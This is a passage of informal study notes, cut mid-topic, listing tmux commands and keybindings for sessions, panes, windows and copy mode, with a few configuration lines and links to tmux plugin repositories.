  + systemd services also keep logs in journald system – kept in binary format and need to be read by a utility such as journalctl
    - capable of self-validation and harder to modify

Tmux

* Starting tmux “Sessions” and default tmux “prefix”
  + To start a new tmux session just run the tmux command with no arguments.
    - The first session create will have the name "0".
    - By default, tmux status bar will be green. With session name on the left. Windows in the middle and window names in the middle. Hostname, time, and date on the right of the bottom green bar.
  + All commands within a tmux session all start with the tmux prefix is. By default, the tmux prefix is "Ctrl b".
    - After the tmux prefix. To the hotkeys to change the current tmux session's name is "shift $".
      * ctrl b shift $
  + If there is a need to create another tmux session within the current one. Use the -d argument with the tmux command.
    - The -s argument is used to specify the session name for the new session. Typed as "tmux new -s <new-session-name> -d".
  + To list all active tmux sessions. Run tmux with list-sessions
    - tmux ls
  + Exiting a tmux session without closing it can be done with the prefix. Followed by d
    - ctrl b d
  + To reattach to an active tmux session. Run tmux with the attach option and -t followed by the desired session name.
  + Delete a single session by its session name.
    - Is done with the kill-session option with tmux.
      * Followed by -t and the <target-session-name-to-delete>
  + Another way to swap sessions without having to detach and reattach to another session is to use the prefix.
    - Followed by the s-key to list all open sessions.
      * Using up or down arrow keys to navigate to the desired tmux session.
        + Then enter to select the new session.

ctrl b s

* + If there was a need to kill all the sessions except for a single one.
    - When using the tmux kill-session.
    - Use the -a argument to close all sessions except the one specified by the -t argument.
  + The tmux prompt allows tmux sessions to run tmux commands without the tmux binary name.
    - Useful when the terminal has been filled with other text.
      * Enter a tmux prompt with prefix shift :
        + ctrl b shift :
* Manage Tmux Panes
  + ctrl b shift “
    - horizontal split
  + ctrl b shift %
    - vertical split
  + ctrl b <arrow key>
    - move between panes
  + ctrl b o
    - swap between most used panes when more than two are open
  + ctrl b ;
    - move between two most used panes
  + ctrl b x y
    - kill a pane
  + ctrl b shift }
    - counter clockwise move
  + ctrl b shift {
    - clockwise move
  + ctrl b esc 4
    - cycle between panes by number
  + ctrl b spacebar
    - toggle between layouts
  + :swap-pane -s <source pane final swap location> -t <currently selected destination pane>
  + :swap-pane -t <pane to swap with> -s <currently selected pane>
  + ctrl b q
    - check pane number
* Manage tmux Windows
  + ctrl b c
    - new empty window
  + ctrl b ,
    - change window name
  + ctrl b shift !
    - move pane into own window
  + ctrl b shift &
    - kill a window
  + ctrl b shift :
    - tmux prompt/command mode
  + join-pane -s <source window name>
  + join-pane -t <destination window name>
* Tmux Copy Mode
  + ctrl b [
    - start mode
  + ctrl r
    - search/grep up
  + ctrl s
    - search/grep down
  + ctrl spacebar
    - text highlighting
  + ctrl b ]
    - paste from tmux clipboard
  + ctrl b shift #
    - check what is currently copied
* Tmux and Beyonf
  + - set -g prefix C-a
    - ctrl b shift |
    - ctrl b
    - tmux source /home/username/.tmux/.conf
  + <https://github.com/tmux-plugins/tmux-resurrect.git>
  + <https://github.com/tmux-plugins/tmux-logging.git>
  + <https://github.com/tmux-plugins/tmux-yank.git>
    - ctrl b shift P
  + <https://github.com/chaosma/tmuxconfig.git>
    - tmux -f /home/username/custom-tmux.bak
    - tmux kill-server
* Additionals